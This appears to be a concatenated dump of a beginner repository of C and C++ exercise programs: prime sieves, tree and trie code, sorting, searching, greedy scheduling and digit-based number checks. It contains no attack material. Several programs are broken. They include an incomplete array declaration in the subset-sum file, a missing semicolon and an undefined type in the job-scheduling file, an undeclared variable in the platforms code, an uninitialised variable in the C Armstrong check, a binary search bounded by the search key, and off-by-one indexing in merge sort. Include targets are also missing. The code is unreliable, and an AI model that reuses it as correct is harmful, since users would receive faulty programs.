/C++/SieveOfEratosthenes.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | 6 | 7 | void SieveOfEratosthenes(int n) 8 | { 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | bool prime[n+1]; 17 | 18 | memset(prime, true, sizeof(prime)); 19 | 20 | 21 | 22 | for (int p=2; p*p<=n; p++) 23 | 24 | { 25 | 26 | // If prime[p] is not changed, then it is a prime 27 | 28 | if (prime[p] == true) 29 | 30 | { 31 | 32 | // Update all multiples of p 33 | 34 | for (int i=p*2; i<=n; i += p) 35 | 36 | prime[i] = false; 37 | 38 | } 39 | 40 | } 41 | 42 | 43 | 44 | // Print all prime numbers 45 | 46 | for (int p=2; p<=n; p++) 47 | 48 | if (prime[p]) 49 | 50 | cout << p << " "; 51 | } 52 | 53 | 54 | 55 | 56 | int main() 57 | { 58 | 59 | int n = 100; 60 | 61 | cout << "Following are the prime numbers smaller " 62 | 63 | << " than or equal to " << n << endl; 64 | 65 | SieveOfEratosthenes(n); 66 | 67 | return 0; 68 | } 69 | -------------------------------------------------------------------------------- /C++/Subset_sum.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #define ll long long 3 | #define pb push_back 4 | using namespace std; 5 | 6 | bool subsetsum(int sum,int ar[],int n) 7 | { 8 | bool t[n+1][] 9 | if(sum==0) 10 | { 11 | return true; 12 | } 13 | if(n==0) 14 | { 15 | return false; 16 | } 17 | if(ar[n-1]<=sum) 18 | { 19 | return (subsetsum(sum-ar[n-1],ar,n-1) || subsetsum(sum,ar,n-1)); 20 | } 21 | else 22 | { 23 | return subsetsum(sum,ar,n-1); 24 | } 25 | } 26 | int main() 27 | { 28 | ios_base::sync_with_stdio(false); 29 | cin.tie(NULL); 30 | int sum=10; 31 | int numbers[]={11,24,5,5}; 32 | int n=sizeof(numbers)/sizeof(int); 33 | cout< 3 | using namespace std; 4 | 5 | struct Node 6 | { 7 | int data; 8 | struct Node *left; 9 | struct Node *right; 10 | }; 11 | // Utility function to create a new Tree Node 12 | Node* newNode(int val) 13 | { 14 | Node* temp = new Node; 15 | temp->data = val; 16 | temp->left = NULL; 17 | temp->right = NULL; 18 | 19 | return temp; 20 | } 21 | // Function to Build Tree 22 | Node* buildTree(string str) 23 | { 24 | // Corner Case 25 | if(str.length() == 0 || str[0] == 'N') 26 | return NULL; 27 | 28 | // Creating vector of strings from input 29 | // string after spliting by space 30 | vector ip; 31 | 32 | istringstream iss(str); 33 | for(string str; iss >> str; ) 34 | ip.push_back(str); 35 | 36 | // Create the root of the tree 37 | Node* root = newNode(stoi(ip[0])); 38 | 39 | // Push the root to the queue 40 | queue queue; 41 | queue.push(root); 42 | 43 | // Starting from the second element 44 | int i = 1; 45 | while(!queue.empty() && i < ip.size()) { 46 | 47 | // Get and remove the front of the queue 48 | Node* currNode = queue.front(); 49 | queue.pop(); 50 | 51 | // Get the current node's value from the string 52 | string currVal = ip[i]; 53 | 54 | // If the left child is not null 55 | if(currVal != "N") { 56 | 57 | // Create the left child for the current node 58 | currNode->left = newNode(stoi(currVal)); 59 | 60 | // Push it to the queue 61 | queue.push(currNode->left); 62 | } 63 | 64 | // For the right child 65 | i++; 66 | if(i >= ip.size()) 67 | break; 68 | currVal = ip[i]; 69 | 70 | // If the right child is not null 71 | if(currVal != "N") { 72 | 73 | // Create the right child for the current node 74 | currNode->right = newNode(stoi(currVal)); 75 | 76 | // Push it to the queue 77 | queue.push(currNode->right); 78 | } 79 | i++; 80 | } 81 | 82 | return root; 83 | } 84 | 85 | 86 | // } Driver Code Ends 87 | /* Tree node 88 | struct Node 89 | { 90 | int data; 91 | Node* left, * right; 92 | }; */ 93 | 94 | // Should return true if tree is Sum Tree, else false 95 | class Solution 96 | { 97 | public: 98 | int T(Node* root,bool &b) 99 | { 100 | if(!root) 101 | return 0; 102 | if(!root->left&&!root->right) 103 | return root->data; 104 | int lt=T(root->left,b); 105 | int rt=T(root->right,b); 106 | if(root->data!=lt+rt) 107 | b=false; 108 | return lt+rt+root->data; 109 | } 110 | bool isSumTree(Node* root) 111 | { 112 | bool b=true; 113 | int a=T(root,b); 114 | return b; 115 | } 116 | }; 117 | 118 | // { Driver Code Starts. 119 | 120 | int main() 121 | { 122 | 123 | int t; 124 | scanf("%d ",&t); 125 | while(t--) 126 | { 127 | string s; 128 | getline(cin,s); 129 | Node* root = buildTree(s); 130 | Solution ob; 131 | cout < 3 | using namespace std; 4 | 5 | struct Node 6 | { 7 | int data; 8 | struct Node *left; 9 | struct Node *right; 10 | }; 11 | // Utility function to create a new Tree Node 12 | Node* newNode(int val) 13 | { 14 | Node* temp = new Node; 15 | temp->data = val; 16 | temp->left = NULL; 17 | temp->right = NULL; 18 | 19 | return temp; 20 | } 21 | // Function to Build Tree 22 | Node* buildTree(string str) 23 | { 24 | // Corner Case 25 | if(str.length() == 0 || str[0] == 'N') 26 | return NULL; 27 | 28 | // Creating vector of strings from input 29 | // string after spliting by space 30 | vector ip; 31 | 32 | istringstream iss(str); 33 | for(string str; iss >> str; ) 34 | ip.push_back(str); 35 | 36 | // Create the root of the tree 37 | Node* root = newNode(stoi(ip[0])); 38 | 39 | // Push the root to the queue 40 | queue queue; 41 | queue.push(root); 42 | 43 | // Starting from the second element 44 | int i = 1; 45 | while(!queue.empty() && i < ip.size()) { 46 | 47 | // Get and remove the front of the queue 48 | Node* currNode = queue.front(); 49 | queue.pop(); 50 | 51 | // Get the current node's value from the string 52 | string currVal = ip[i]; 53 | 54 | // If the left child is not null 55 | if(currVal != "N") { 56 | 57 | // Create the left child for the current node 58 | currNode->left = newNode(stoi(currVal)); 59 | 60 | // Push it to the queue 61 | queue.push(currNode->left); 62 | } 63 | 64 | // For the right child 65 | i++; 66 | if(i >= ip.size()) 67 | break; 68 | currVal = ip[i]; 69 | 70 | // If the right child is not null 71 | if(currVal != "N") { 72 | 73 | // Create the right child for the current node 74 | currNode->right = newNode(stoi(currVal)); 75 | 76 | // Push it to the queue 77 | queue.push(currNode->right); 78 | } 79 | i++; 80 | } 81 | 82 | return root; 83 | } 84 | void inorder(Node * node) 85 | { 86 | if(node==NULL) 87 | return; 88 | 89 | inorder(node->left); 90 | cout<data<<" "; 91 | inorder(node->right); 92 | } 93 | 94 | 95 | // } Driver Code Ends 96 | //User function template for C++ 97 | 98 | /* A binary tree node 99 | struct Node 100 | { 101 | int data; 102 | Node* left, * right; 103 | }; */ 104 | 105 | class Solution { 106 | public: 107 | 108 | // Convert a given tree to a tree where every node contains sum of values of 109 | // nodes in left and right subtrees in the original tree 110 | int SumTree(Node *root) 111 | { 112 | static int val=0; 113 | if(!root) 114 | return 0; 115 | int lt=SumTree(root->left); 116 | int rt=SumTree(root->right); 117 | val=lt+rt+root->data; 118 | root->data=lt+rt; 119 | return val; 120 | } 121 | void toSumTree(Node *root) 122 | { 123 | if(!root) 124 | return; 125 | int a= SumTree(root); 126 | } 127 | }; 128 | 129 | // { Driver Code Starts. 130 | 131 | int main() 132 | { 133 | 134 | int t; 135 | scanf("%d ",&t); 136 | while(t--) 137 | { 138 | string s; 139 | getline(cin,s); 140 | Node* root = buildTree(s); 141 | Solution ob; 142 | ob.toSumTree(root); 143 | inorder(root); 144 | cout< 2 | using namespace std; 3 | template 4 | class Treenode 5 | { 6 | public: 7 | T data; 8 | vector*> children; 9 | Treenode(T data) 10 | { 11 | this->data = data; 12 | } 13 | }; 14 | Treenode *takeInputLevelwise() 15 | { 16 | int rootdata; 17 | cout<<"Enter root data "<>rootdata; 19 | Treenode* root=new Treenode(rootdata); 20 | queue*> pendingChild; 21 | pendingChild.push(root); 22 | while(pendingChild.size()!=0) 23 | { 24 | Treenode* front=pendingChild.front(); 25 | pendingChild.pop(); 26 | cout<<"Enter number of child of "<data<<" "<>n; 29 | for(int i=0;idata<<" "<>childData; 34 | Treenode* child=new Treenode(childData); 35 | front->children.push_back(child); 36 | pendingChild.push(child); 37 | } 38 | } 39 | return root; 40 | } 41 | void printLevelwise(Treenode* root) 42 | { 43 | if(root==NULL) 44 | { 45 | return; 46 | } 47 | queue*> printchild; 48 | printchild.push(root); 49 | while(printchild.size()!=0) 50 | { 51 | Treenode* front=printchild.front(); 52 | printchild.pop(); 53 | cout<data<<":"; 54 | 55 | for(int i=0;ichildren.size();i++) 56 | { 57 | cout<children[i]->data<<","; 58 | } 59 | for (int i = 0; i < front->children.size(); i++) 60 | { 61 | /* code */ 62 | printchild.push(front->children[i]); 63 | } 64 | 65 | cout< *root) 70 | { 71 | if(root==NULL) 72 | { 73 | return; 74 | } 75 | cout<data<<":"; 76 | for (int i = 0; i < root->children.size(); i++) 77 | { 78 | cout<children[i]->data<<","; 79 | } 80 | cout<children.size(); i++) 82 | { 83 | printTree(root->children[i]); 84 | } 85 | } 86 | Treenode *takeInput() 87 | { 88 | int rootdata; 89 | cout<<"Enter root data"<>rootdata; 91 | Treenode*root=new Treenode(rootdata); 92 | cout<<"Enter the numbers of child of "<>n; 95 | for(int i = 0; i < n; i++) 96 | { 97 | Treenode* child=takeInput(); 98 | root->children.push_back(child); 99 | } 100 | return root; 101 | } 102 | int main() 103 | { 104 | // Treenode*root=new Treenode(1); 105 | // Treenode*node1=new Treenode(2); 106 | // Treenode*node2=new Treenode(3); 107 | // root->children.push_back(node1); 108 | // root->children.push_back(node2); 109 | Treenode* root=takeInputLevelwise(); 110 | printLevelwise(root); 111 | } -------------------------------------------------------------------------------- /C++/Triangle Area.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | int main() { 5 | int height, base; 6 | float ans; //ans may come in fractions 7 | cout<<"Enter height and base : "; 8 | cin>>height>>base; 9 | ans= (0.5)*height*base; //area of triangle formula 10 | 11 | cout<<"Area of triangle is : "< 2 | using namespace std; 3 | 4 | struct trie{ 5 | struct trie* child[26]; 6 | bool is_end; 7 | trie(){ 8 | memset(child,0,sizeof(child)); 9 | is_end=false; 10 | } 11 | }; 12 | 13 | struct trie* root; 14 | //inserts a word to the trie 15 | void insert(string s){ 16 | struct trie* temp=root; 17 | //traverses over each character 18 | //if the character already exists then it simply iterates over 19 | //otherwise creates a new node and inserts the character 20 | for(char c: s){ 21 | if(!temp->child[c-'a']) 22 | temp->child[c-'a']=new trie; 23 | temp=temp->child[c-'a']; 24 | } 25 | //sets the last letter's boolean value to true 26 | temp->is_end=true; 27 | } 28 | //returns true if the word exists, false otherwise 29 | bool check(string s){ 30 | struct trie* temp=root; 31 | //iterates over the character of the word 32 | for(char c: s){ 33 | //if at any point the char of the word being check is not found it return false 34 | if(!temp->child[c-'a']) 35 | return false; 36 | temp=temp->child[c-'a']; 37 | } 38 | //returns the last letters boolean value 39 | return temp->is_end; 40 | } 41 | 42 | int main(){ 43 | ios_base::sync_with_stdio(false); 44 | cin.tie(NULL); 45 | root=new trie; 46 | int n; 47 | cout << "Input the number of words in the List" << endl; 48 | cin >> n; 49 | string word; 50 | cout<<"Enter the words"<> word ; 54 | insert(word); 55 | } 56 | cout << "Enter the number of words you want to check exist in the List" << endl; 57 | int m; 58 | cin >> m; 59 | //the words to be checked 60 | for(int i=0; i> word ; 62 | if(check(word)) 63 | cout<< "This word exist in the list" < 2 | using namespace std; 3 | int main() 4 | { 5 | int n,r,sum=0,temp; 6 | cout<<"Enter the Number= "; 7 | cin>>n; 8 | temp=n; 9 | while(n>0) 10 | { 11 | r=n%10; 12 | sum=sum+(r*r*r); 13 | n=n/10; 14 | } 15 | if(temp==sum) 16 | cout<<"Armstrong Number."< 2 | using namespace std; 3 | int main(){ 4 | 5 | int array[10]; 6 | int key,l=0,r=9,mid,n; 7 | for (int i = 0; i < 10; i++) 8 | { 9 | cin>>n; 10 | array[i]=n; 11 | } 12 | 13 | printf("Enter value you want to search : "); 14 | cin>>key; 15 | 16 | while(l<=r){ 17 | 18 | mid=(r+l)/2; 19 | if (array[mid] == key){ 20 | cout<<"Found at :"< 3 | using namespace std; 4 | 5 | // Returns value of Binomial Coefficient C(n, k) 6 | unsigned long int binomialCoeff(unsigned int n, 7 | unsigned int k) 8 | { 9 | unsigned long int res = 1; 10 | 11 | if (k > n - k) 12 | k = n - k; 13 | 14 | for (int i = 0; i < k; ++i) { 15 | res *= (n - i); 16 | res /= (i + 1); 17 | } 18 | 19 | return res; 20 | } 21 | 22 | // A Binomial coefficient based function to find nth catalan 23 | // number in O(n) time 24 | unsigned long int catalan(unsigned int n) 25 | { 26 | unsigned long int c = binomialCoeff(2 * n, n); 27 | 28 | return c / (n + 1); 29 | } 30 | 31 | // Driver code 32 | int main() 33 | { 34 | for (int i = 0; i < 10; i++) 35 | cout << catalan(i) << " "; 36 | return 0; 37 | } 38 | -------------------------------------------------------------------------------- /C++/codeforceswaytoolongwords.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | using namespace std; 4 | 5 | int main() { 6 | int n,i,j,l[100]; 7 | char s[100][100]; 8 | cin>>n; 9 | for(i=0;i>s[i]; 12 | l[i]=strlen(s[i]); 13 | } 14 | for(i=0;i10) 17 | { 18 | cout< 2 | using namespace std; 3 | 4 | int main() 5 | { 6 | int t,i,n; 7 | cin>>t; 8 | for(i=0;i>n; 10 | if(n%4==0){ 11 | cout<<"YES\n"; 12 | } 13 | else{ 14 | cout<<"NO\n"; 15 | } 16 | } 17 | return 0; 18 | } -------------------------------------------------------------------------------- /C++/findEvenOdd.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | int main() 5 | { 6 | int num; 7 | cout<<"Enter the Number to check whether it is Even or Odd : "; 8 | cin>>num; 9 | if(num % 2 == 0){ 10 | cout<<"The Number is Even"; 11 | } 12 | else{ 13 | cout<<"The Number is Odd"; 14 | } 15 | return 0; 16 | } -------------------------------------------------------------------------------- /C++/jobschudling.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | bool comparisons(job a, job b){ 5 | return (a.profit > b.profit) 6 | } 7 | 8 | pairJobScheduling(job arr[],int n){ 9 | sort(arr,arr+n,comparisons); 10 | int maxi=arr[0].dead; 11 | for(int i=1;i0;j--){ 23 | if(slot[j]==-1){ 24 | slot[j]=i; 25 | countJobs++; 26 | jobProfit+=arr[i].profit; 27 | break; 28 | } 29 | } 30 | } 31 | return make_pair(countJobs,jobProfit); 32 | } 33 | 34 | 35 | -------------------------------------------------------------------------------- /C++/knapsack.cpp: -------------------------------------------------------------------------------- 1 | struct Item{ 2 | int value,weight; 3 | }; 4 | 5 | bool comp(Item a,Item b){ 6 | double r1= (double)a.value/(double)a.weight; 7 | double r2= (double)b.value/(double)b.weight; 8 | 9 | return r1>r2; 10 | 11 | } 12 | 13 | double knapsack(int W,Item arr[],int n){ 14 | sort(arr,arr+n,comp); 15 | 16 | int curWeight=0; 17 | double finalValue=0.0; 18 | 19 | for(int i=0;i 2 | using namespace std; 3 | 4 | int main() { 5 | 6 | int n1, n2, n3; 7 | cout<<"Enter number of rows and columns of matrix: "; 8 | cin>>n1>>n2>>n3; 9 | 10 | int A[n1][n2], B[n2][n3], C[n1][n3]; 11 | 12 | cout<<"Enter elements of matrix A: "<>A[i][j]; 16 | } 17 | } 18 | 19 | cout<<"Enter elements of matrix B: "<>B[i][j]; 23 | } 24 | } 25 | 26 | for(int i=0; i 2 | using namespace std; 3 | 4 | int findPlatform(int arr[],int dep[],int n){ 5 | sort(arr,arr+n); 6 | sort(dep,dep+n); 7 | 8 | int plat_needed=1,result=1; 9 | int i=1;j=0; 10 | 11 | while(idep[j]){ 17 | plat_needed--; 18 | j++; 19 | } 20 | if(plat_needed>result){ 21 | result=plat_needed; 22 | } 23 | } 24 | return result; 25 | } 26 | -------------------------------------------------------------------------------- /C++/minimumCoins.cpp: -------------------------------------------------------------------------------- 1 | void find(int V){ 2 | int deno[]={1,2,5,10,20,50,100,500,1000}; 3 | int n=9; 4 | 5 | vectorans; 6 | 7 | for(int i=n-1;i>=0;i--){ 8 | while(V>=deno[i]){ 9 | V-=deno[i]; 10 | ans.push_back(deno[i]); 11 | } 12 | } 13 | 14 | for(int i=0;i 2 | #include 3 | #include 4 | #include 5 | #include 6 | using namespace std; 7 | 8 | class Triangle{ 9 | public: 10 | void triangle(){ 11 | cout<<"I am a triangle\n"; 12 | } 13 | }; 14 | 15 | class Isosceles : public Triangle{ 16 | public: 17 | void isosceles(){ 18 | cout<<"I am an isosceles triangle\n"; 19 | } 20 | }; 21 | 22 | //Write your code here. 23 | class Equilateral : public Isosceles{ 24 | public: 25 | void equilateral(){ 26 | cout<<"I am an equilateral triangle\n"; 27 | } 28 | }; 29 | int main(){ 30 | 31 | Equilateral eqr; 32 | eqr.equilateral(); 33 | eqr.isosceles(); 34 | eqr.triangle(); 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /C++/nMeeting.cpp: -------------------------------------------------------------------------------- 1 | /****************************************************************************** 2 | 3 | Online C++ Compiler. 4 | Code, Compile, Run and Debug C++ program online. 5 | Write your code in this editor and press "Run" button to compile and execute it. 6 | 7 | *******************************************************************************/ 8 | 9 | #include 10 | #include 11 | using namespace std; 12 | 13 | struct meeting{ 14 | int start,end,pos; 15 | }; 16 | 17 | bool comparator(struct meeting m1, meeting m2){ 18 | if(m1.end < m2.end) return true; 19 | else if(m1.end>m2.end) return false; 20 | else if(m1.pos answers; 37 | answers.push_back(meet[0].pos); 38 | for(int i=1;i limit){ 40 | limit=meet[i].end; 41 | answers.push_back(meet[i].pos); 42 | } 43 | 44 | } 45 | for(int i=0;i>n; 54 | int s[n],f[n]; 55 | for(int i=0;i>s[i]; 57 | } 58 | for(int i=0;i>f[i]; 60 | } 61 | maxMeeting(s,f,n); 62 | } 63 | 64 | -------------------------------------------------------------------------------- /C++/primeNumber.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | using namespace std; 4 | 5 | bool checkPrime(int n){ 6 | int count=0; 7 | if(n==0 || n==1){ 8 | return false; 9 | } 10 | for(int i=2;i<=sqrt(n);i++){ 11 | if(n%i==0){ 12 | count++; 13 | break; 14 | } 15 | } 16 | return count==0?true:false; 17 | } 18 | int main(){ 19 | 20 | int num=5; 21 | if(checkPrime(num)) 22 | cout<<"It is Prime"< 2 | #include 3 | 4 | void main() 5 | { 6 | int i,no; 7 | clrscr(); 8 | cout<<"Enter any num: "; 9 | cin>>no; 10 | if(no==1) 11 | { 12 | cout<<"Smallest prime num is 2"; 13 | } 14 | for(i=2;i 2 | #include 3 | 4 | using namespace std; 5 | 6 | void swap(int *a, int *b) { 7 | int temp; 8 | temp = *a; 9 | *a = *b; 10 | *b = temp; 11 | } 12 | 13 | int Partition(int a[], int l, int h) { 14 | int pivot, index, i; 15 | index = l; 16 | pivot = h; 17 | for(i = l; i < h; i++) { 18 | if(a[i] < a[pivot]) { 19 | swap(&a[i], &a[index]); 20 | index++; 21 | } 22 | } 23 | swap(&a[pivot], &a[index]); 24 | return index; 25 | } 26 | int RandomPivotPartition(int a[], int l, int h) { 27 | int pvt, n, temp; 28 | n = rand(); 29 | pvt = l + n%(h-l+1); 30 | swap(&a[h], &a[pvt]); 31 | return Partition(a, l, h); 32 | } 33 | int QuickSort(int a[], int l, int h) { 34 | int pindex; 35 | if(l < h) { 36 | pindex = RandomPivotPartition(a, l, h); 37 | QuickSort(a, l, pindex-1); 38 | QuickSort(a, pindex+1, h); 39 | } 40 | return 0; 41 | } 42 | int main() { 43 | int n, i; 44 | cout<<"\nEnter the number of data element to be sorted: "; 45 | cin>>n; 46 | int arr[n]; 47 | for(i = 0; i < n; i++) { 48 | cout<<"Enter element "<>arr[i]; 50 | } 51 | QuickSort(arr, 0, n-1); 52 | cout<<"\nSorted Data "; 53 | for (i = 0; i < n; i++) 54 | cout<<"->"< 10 | using namespace std; 11 | 12 | /* Function to reverse arr[] from start to end*/ 13 | void rvereseArray(int arr[], int s, int e) 14 | { 15 | while (s < e) 16 | { 17 | int temp = arr[s]; 18 | arr[s] = arr[e]; 19 | arr[e] = temp; 20 | s++; 21 | e--; 22 | } 23 | } 24 | 25 | /* Utility function to print an array */ 26 | void printArray(int arr[], int size) 27 | { 28 | for (int i = 0; i < size; i++) 29 | cout << arr[i] << " "; 30 | 31 | cout << endl; 32 | } 33 | 34 | /* Driver function to test above functions */ 35 | int main() 36 | { 37 | int arr[] = {1, 2, 3, 4, 5, 6}; 38 | 39 | int n = sizeof(arr) / sizeof(arr[0]); 40 | 41 | // To print original array 42 | printArray(arr, n); 43 | 44 | // Function calling 45 | rvereseArray(arr, 0, n-1); 46 | 47 | cout << "Reversed array is" << endl; 48 | 49 | // To print the Reversed array 50 | printArray(arr, n); 51 | 52 | return 0; 53 | } 54 | -------------------------------------------------------------------------------- /C++/segmentTreeWithLazyPropagation.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | using namespace std; 4 | 5 | const int NMAX = 1e6; 6 | typedef long long int ll; 7 | 8 | ll st[NMAX], lazy[NMAX]; 9 | ll n; 10 | 11 | void update(ll p, ll l, ll r, ll a, ll b, ll v) { 12 | if (lazy[p] != 0) { 13 | st[p] += (r - l + 1) * lazy[p]; 14 | 15 | if (l != r) { 16 | lazy[p<<1] += lazy[p]; 17 | lazy[(p<<1)+1] += lazy[p]; 18 | } 19 | 20 | lazy[p] = 0; 21 | } 22 | 23 | if (r < a || l > b) return; 24 | 25 | if (a <= l && b >= r) 26 | { 27 | st[p] += (r - l + 1) * v; 28 | if (l != r){ 29 | lazy[p<<1] += v; 30 | lazy[(p<<1) + 1] += v; 31 | } 32 | return; 33 | } 34 | 35 | ll mid = (l + r) >> 1; 36 | 37 | update(p<<1, l, mid, a, b, v); 38 | update((p<<1) + 1, mid+1, r, a, b, v); 39 | 40 | st[p] = st[p<<1] + st[(p<<1) + 1]; 41 | 42 | } 43 | 44 | ll query(ll p, ll l, ll r, ll a, ll b) { 45 | if (lazy[p] != 0) { 46 | st[p] += (r - l + 1) * lazy[p]; 47 | if (l != r) { 48 | lazy[p<<1] += lazy[p]; 49 | lazy[(p<<1) + 1] += lazy[p]; 50 | } 51 | lazy[p] = 0; 52 | } 53 | 54 | if (r < a || l > b) return 0; 55 | 56 | if (a <= l && b >= r) { 57 | return st[p]; 58 | } 59 | 60 | ll mid = (r+l) >> 1; 61 | 62 | return query(p<<1, l, mid, a, b) + query((p<<1) + 1, mid+1, r, a, b); 63 | 64 | } 65 | 66 | int main() { 67 | ll tc; 68 | scanf("%lld", &tc); 69 | while (tc--) { 70 | ll q; 71 | scanf("%lld %lld", &n, &q); 72 | memset(st, 0, sizeof(st)); 73 | memset(lazy, 0, sizeof(lazy)); 74 | 75 | ll a, b, v; 76 | while (q--) { 77 | ll x; 78 | scanf("%lld %lld %lld", &x, &a, &b); 79 | if(x) { 80 | printf("%lld\n", query(1, 1, n, a, b)); 81 | } else { 82 | scanf("%lld", &v); 83 | update(1, 1, n, a, b, v); 84 | } 85 | } 86 | } 87 | } 88 | 89 | /*Problem: 90 | 0 p q v - you have to add v to all numbers in the range of p to q (inclusive), where p and q are two indexes of the array. 91 | 1 p q - output a line containing a single integer which is the sum of all the array elements between p and q (inclusive). 92 | In the first line you'll be given T, number of test cases. 93 | Each test case will start with N(quantity of numbers) and C(number of commands). 94 | After that you'll be given C commands in the format as mentioned above. */ 95 | -------------------------------------------------------------------------------- /C++/spiral_order_matrix_traversal.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | using namespace std; 3 | 4 | int main() { 5 | 6 | int n, m; 7 | cout<<"Enter n and m: "; 8 | cin>>n>>m; 9 | 10 | int arr[n][m]; 11 | 12 | cout<<"Enter matrix elements: "<>arr[i][j]; 16 | } 17 | } 18 | 19 | int row_start=0, row_end=n-1; 20 | int column_start=0, column_end=m-1; 21 | 22 | while(row_start<=row_end && column_start<=column_end) { 23 | 24 | // for row start 25 | for(int i=column_start; i<=column_end; i++) { 26 | cout<=column_start; i--){ 38 | cout<=row_start; i--){ 44 | cout< 3 | using namespace std; 4 | 5 | void getZarr(string str, int Z[]); 6 | 7 | void search(string text, string pattern) 8 | { 9 | string concat = pattern + "$" + text; 10 | int l = concat.length(); 11 | 12 | int Z[l]; 13 | getZarr(concat, Z); 14 | 15 | for (int i = 0; i < l; ++i) 16 | { 17 | if (Z[i] == pattern.length()) 18 | cout << "Pattern found at index " 19 | << i - pattern.length() -1 << endl; 20 | } 21 | } 22 | 23 | 24 | void getZarr(string str, int Z[]) 25 | { 26 | int n = str.length(); 27 | int L, R, k; 28 | 29 | L = R = 0; 30 | for (int i = 1; i < n; ++i) 31 | { 32 | if (i > R) 33 | { 34 | L = R = i; 35 | while (R 2 | 3 | int main() 4 | { 5 | int n, s, sum = 0, temp; 6 | printf("enter the number="); 7 | scanf("%d", &n); 8 | temp = n; 9 | while (n > 0) 10 | { 11 | s = s % 10; 12 | sum = sum + (s * s * s); 13 | n = n / 10; 14 | } 15 | if (temp == sum) 16 | printf("armstrong number "); 17 | else 18 | printf("not armstrong number"); 19 | return 0; 20 | } -------------------------------------------------------------------------------- /C/BinarySearch.c: -------------------------------------------------------------------------------- 1 | #include 2 | void main() 3 | { 4 | int a[5],n,first,c=0,last,mid; 5 | for(int i=0;i<5;i++) 6 | { 7 | scanf("%d",&a[i]); 8 | } 9 | printf("enter the element you want to scan:"); 10 | scanf("%d",&n); 11 | first=0; 12 | last=n-1; 13 | while(first<=last) 14 | { 15 | mid=((first+last)/2); 16 | if(n==a[mid]) 17 | { 18 | c=1; 19 | break; 20 | } 21 | else if(n>a[mid]) 22 | { 23 | first=mid+1; 24 | } 25 | else 26 | { 27 | last=mid-1; 28 | } 29 | } 30 | if(c==1) 31 | { 32 | printf("element found at position %d",(mid+1)); 33 | } 34 | else 35 | { 36 | printf("element not found"); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /C/BubbleSort.c: -------------------------------------------------------------------------------- 1 | #include 2 | void main() 3 | { 4 | int n,temp; 5 | printf("enter number of elements:"); 6 | scanf("%d",&n); 7 | int a[n]; 8 | for(int i=0;ia[i]) 17 | { 18 | temp=a[i+1]; 19 | a[i+1]=a[i]; 20 | a[i]=temp; 21 | } 22 | } 23 | } 24 | for(int i=0;i 2 | void main() 3 | { 4 | int n; 5 | scanf("%d",&n); 6 | int z=n; 7 | int v=0,i=1; 8 | while(n!=0) 9 | { 10 | z=n%2; 11 | n=n/2; 12 | v=v+(z*i); 13 | i=i*10; 14 | } 15 | printf("%d",v); 16 | } 17 | -------------------------------------------------------------------------------- /C/FactorialUsingRecursion.c: -------------------------------------------------------------------------------- 1 | #include 2 | int factorial(int n) 3 | { 4 | if(n==1) 5 | {return 1;} 6 | return(n*factorial(n-1)); 7 | } 8 | int main() 9 | { 10 | int i=3; 11 | printf("%d",factorial(i)); 12 | } 13 | 14 | -------------------------------------------------------------------------------- /C/HCF.c: -------------------------------------------------------------------------------- 1 | #include 2 | void main() 3 | { 4 | int a,b,hcf; 5 | scanf("%d %d",&a,&b); 6 | for(int i=1;i<=a&&i<=b;i++) 7 | { 8 | if(a%i==0&&b%i==0) 9 | {hcf=i;} 10 | } 11 | printf("%d",hcf); 12 | } 13 | -------------------------------------------------------------------------------- /C/Linear Search.c: -------------------------------------------------------------------------------- 1 | #include 2 | int main() 3 | { 4 | int array[100], search, c, n; 5 | 6 | printf("Enter number of elements in array\n"); 7 | scanf("%d", &n); 8 | 9 | printf("Enter %d integer(s)\n", n); 10 | 11 | for (c = 0; c < n; c++) 12 | scanf("%d", &array[c]); 13 | 14 | printf("Enter a number to search\n"); 15 | scanf("%d", &search); 16 | 17 | for (c = 0; c < n; c++) 18 | { 19 | if (array[c] == search) /* If required element is found */ 20 | { 21 | printf("%d is present at location %d.\n", search, c+1); 22 | break; 23 | } 24 | } 25 | if (c == n) 26 | printf("%d isn't present in the array.\n", search); 27 | 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /C/Merge Two Arrays.c: -------------------------------------------------------------------------------- 1 | int * mergeArrays(int a[], int b[], int asize, int bsize) 2 | { 3 | int n,i,j,temp; 4 | n=asize+bsize; 5 | for(i=asize;ia[j]) 14 | { 15 | temp=a[j]; 16 | a[j]=a[i]; 17 | a[i]=temp; 18 | } 19 | } 20 | } 21 | return &a[0]; 22 | } 23 | -------------------------------------------------------------------------------- /C/PasswordValidator.c: -------------------------------------------------------------------------------- 1 | #include 2 | void strongPasswordChecker(char pass[]) 3 | { 4 | char c,p=0,a=0,d=0,e=0; 5 | for(int i=0;i 2 | void func(int x); 3 | void main() 4 | { 5 | int n; 6 | func(n); 7 | } 8 | void func(int x) 9 | { 10 | scanf("%d",&x); 11 | for(int i=2;i 2 | void 3 | main () 4 | { 5 | int i, orignum, num, lastdigit, sum; 6 | long fact; 7 | printf ("enter the number"); 8 | scanf ("%d", &num); 9 | orignum = num; 10 | sum = 0; 11 | while (num > 0) 12 | { 13 | lastdigit = num % 10; 14 | fact = 1; 15 | for (i = 1; i <= lastdigit; i++) 16 | { 17 | fact = fact * i; 18 | } 19 | /*add factorial to sum */ 20 | sum = sum + fact; 21 | num = num / 10; 22 | /*check strong number condition */ 23 | } 24 | if (sum == orignum) 25 | { 26 | printf ("%d is a strong number", orignum); 27 | 28 | } 29 | else 30 | { 31 | printf ("not strong"); 32 | } 33 | 34 | } 35 | 36 | -------------------------------------------------------------------------------- /C/merge_sort.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | void merge(int arr[], int p, int q, int r) 8 | { 9 | int n1,n2,i,j,k; 10 | n1 = q - p + 1; 11 | n2 = r - q; 12 | 13 | int L[n1],R[n2]; 14 | 15 | for (i=1; i <= n1; i++) 16 | L[i] = arr[p + i - 1]; 17 | 18 | for (j=1; j <= n2; j++) 19 | R[j] = arr[q + j]; 